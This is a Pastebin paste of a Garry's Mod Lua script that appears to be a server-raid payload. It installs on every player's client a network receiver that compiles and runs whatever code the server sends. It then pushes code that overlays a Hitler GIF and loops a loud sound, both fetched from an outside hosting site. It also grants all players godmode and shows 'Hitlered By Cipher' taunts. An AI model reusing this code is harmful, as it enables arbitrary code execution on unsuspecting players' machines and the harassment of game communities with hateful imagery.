Advertisement
Guest User

Untitled

a guest
Dec 15th, 2019
138
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 4.20 KB | None | 0 0
  1. function RandomString( intMin, intMax )
  2. local ret = ""
  3. for _ = 1, math.random( intMin, intMax ) do
  4. ret = ret.. string.char( math.random(65, 90) )
  5. end
  6.  
  7. return ret
  8. end
  9.  
  10. m_strImageGlobalVar = RandomString( 6, 12 )
  11.  
  12. local function rdm_str(len)
  13. if !len or len <= 0 then return '' end
  14. return rdm_str(len - 1) .. ("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789")[math.random(1, 62)]
  15. end
  16.  
  17. local net_string = rdm_str(25)
  18.  
  19. util.AddNetworkString(net_string)
  20. BroadcastLua([[net.Receive("]] .. net_string .. [[",function()CompileString(util.Decompress(net.ReadData(net.ReadUInt(16))),"?")()end)]])
  21. hook.Add("PlayerInitialSpawn", "ifyouseethisdontpanicitsme",function(ply)
  22. if !ply:IsBot() then
  23. ply:SendLua([[net.Receive("]] .. net_string .. [[",function()CompileString(util.Decompress(net.ReadData(net.ReadUInt(16))),"?")()end)]])
  24. end
  25. end)
  26.  
  27. local function SendToClient(code)
  28. timer.Simple(1, function()
  29. local data = util.Compress(code)
  30. local len = #data
  31. net.Start(net_string)
  32. net.WriteUInt(len, 16)
  33. net.WriteData(data, len)
  34. net.Broadcast()
  35. end)
  36. end
  37.  
  38.  
  39.  
  40. for k, v in pairs( player.GetAll() ) do
  41. if ( v:Alive() ) then
  42. v:GodEnable()
  43. else
  44. v:Spawn()
  45. timer.Simple( 5, function()
  46. v:GodEnable()
  47. end)
  48. end
  49. end
  50.  
  51.  
  52. SendToClient([=[
  53.  
  54. notification.AddLegacy( "Get Hitlered By Kyzen & Cipher", NOTIFY_UNDO, 999 )
  55.  
  56. g_]=].. m_strImageGlobalVar.. [=[ = {}
  57. local html = [[<style type="text/css"> html, body {background-color: transparent;} html{overflow:hidden; ]].. (true and "margin: -8px -8px;" or "margin: 0px 0px;") ..[[ } </style><body><img src="]] .. "%s" .. [[" alt="" width="]] .. "%i"..[[" height="]] .. "%i" .. [[" /></body>]]
  58. local function LoadWebMaterial( strURL, strUID, intSizeX, intSizeY )
  59. local pnl = vgui.Create( "HTML" )
  60. pnl:SetPos( ScrW() -1, ScrH() -1 )
  61. pnl:SetVisible( true )
  62. pnl:SetAlpha( 80 )
  63. pnl:SetMouseInputEnabled( false )
  64. pnl:SetKeyBoardInputEnabled( false )
  65. pnl:SetSize( intSizeX, intSizeY )
  66. pnl:SetHTML( html:format(strURL, intSizeX, intSizeY) )
  67.  
  68. local PageLoaded
  69. PageLoaded = function()
  70. local mat = pnl:GetHTMLMaterial()
  71. if mat then
  72. g_]=].. m_strImageGlobalVar.. [=[[strUID] = { mat, pnl }
  73. return
  74. end
  75.  
  76. timer.Simple( 0.5, PageLoaded )
  77. end
  78.  
  79. PageLoaded()
  80. end
  81. LoadWebMaterial( "http://kyzencipher.000webhostapp.com/gif/hitlercipher.gif", "hud2", 256 , 256 )
  82. ]=])
  83.  
  84. SendToClient([=[
  85.  
  86. local function GetWebMat( strURL )
  87. return g_]=].. m_strImageGlobalVar.. [=[[strURL]
  88. end
  89. local uwu = {}
  90.  
  91. hook.Add("HUDPaint", "okay",function()
  92. for k,v in pairs(uwu) do
  93. v()
  94. end
  95. end)
  96.  
  97. SOUNDSTART_CTP = false
  98. OZJFOZJCEZIO = true
  99.  
  100.  
  101. sound.PlayURL("http://kyzencipher.000webhostapp.com/sound/hitlertrap.mp3","mono noblock noplay",function(s)
  102. if not s then return end
  103. if SOUNDSTART_CTP then s:Stop() return end
  104. SOUNDSTART_CTP = true
  105. s:SetVolume(5 )
  106. s:Play()
  107. s:EnableLooping( true )
  108.  
  109.  
  110.  
  111. local ragtbl = {}
  112.  
  113. uwu["CoolEffect"] = function()
  114.  
  115.  
  116.  
  117. local tbl = {}
  118. s:FFT(tbl,FFT_2048)
  119.  
  120.  
  121. xpcall(function()
  122. local fal = 0
  123. for i=4,6 do
  124. fal = fal + tbl[i]
  125. end
  126.  
  127. if fal > 0.8 then
  128. local membresenigma =
  129. {
  130. "Kyzen",
  131. "Hitlered By Cipher Fdp",
  132. "Kyzen",
  133. "Hitlered By Cipher Fdp",
  134. "Kyzen",
  135. "Hitlered By Cipher Fdp",
  136. "Kyzen",
  137. "Hitlered By Cipher Fdp",
  138. "Kyzen",
  139. "Hitlered By Cipher Fdp/",
  140. "Kyzen",
  141. "Hitlered By Cipher Fdp",
  142. "Kyzen",
  143. "Hitlered By Cipher Fdp",
  144. "Kyzen",
  145. "Hitlered By Cipher Fdp",
  146. "Kyzen",
  147. }
  148.  
  149. local oneid = "newhud"..math.random(100, 300).."id"
  150.  
  151. hook.Add( "HUDPaint", oneid, function()
  152. surface.SetDrawColor( 255, 255, 255, 255 )
  153.  
  154. if GetWebMat( "hud2" ) then -- lui
  155. surface.SetMaterial( GetWebMat("hud2")[1] )
  156. surface.DrawTexturedRect( 0, 0, ScrW(), ScrH() )
  157. end
  158.  
  159.  
  160. end )
  161.  
  162.  
  163.  
  164. timer.Simple(0.2, function()
  165. hook.Remove( "HUDPaint", oneid)
  166. end)
  167.  
  168. notification.AddLegacy( "[CIPHER TEAM] "..table.Random(membresenigma).." !", NOTIFY_UNDO, 5 )
  169.  
  170. end
  171. end,function()
  172. end)
  173.  
  174. end
  175.  
  176. end)
  177. ]=])
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement